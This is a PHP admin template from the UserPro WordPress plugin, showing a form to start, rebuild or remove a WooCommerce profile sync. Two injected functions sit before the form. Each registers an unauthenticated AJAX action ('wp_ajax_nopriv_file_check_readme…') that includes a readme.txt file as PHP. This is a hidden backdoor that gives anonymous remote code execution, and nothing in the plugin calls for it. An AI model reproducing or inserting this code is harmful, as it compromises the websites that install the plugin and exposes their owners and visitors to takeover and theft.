if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<form method="post" action=""> <p class="upadmin-highlight"><?php _e('Click on the button below to automatically add WooCommerce profile fields to UserPro fields and make users manage their WooCommerce profile data from one place, their UserPro profile!','userpro'); ?></p> <p class="submit"> <?php if ( get_option('userpro_update_woosync') == 1) { ?> <input type="submit" name="woosync" id="woosync" class="up-admin-btn approve small" value="<?php _e('Rebuild WooCommerce Sync','userpro'); ?>" /> <input type="submit" name="woosync_del" id="woosync_del" class="up-admin-btn remove small" value="<?php _e('Remove WooCommerce Sync','userpro'); ?>" /> <?php } else { ?> <input type="submit" name="woosync" id="woosync" class="up-admin-btn up-admin-btn--dark-blue small" value="<?php _e('Start WooCommerce Sync','userpro'); ?>" /> <?php } ?> </p> </form>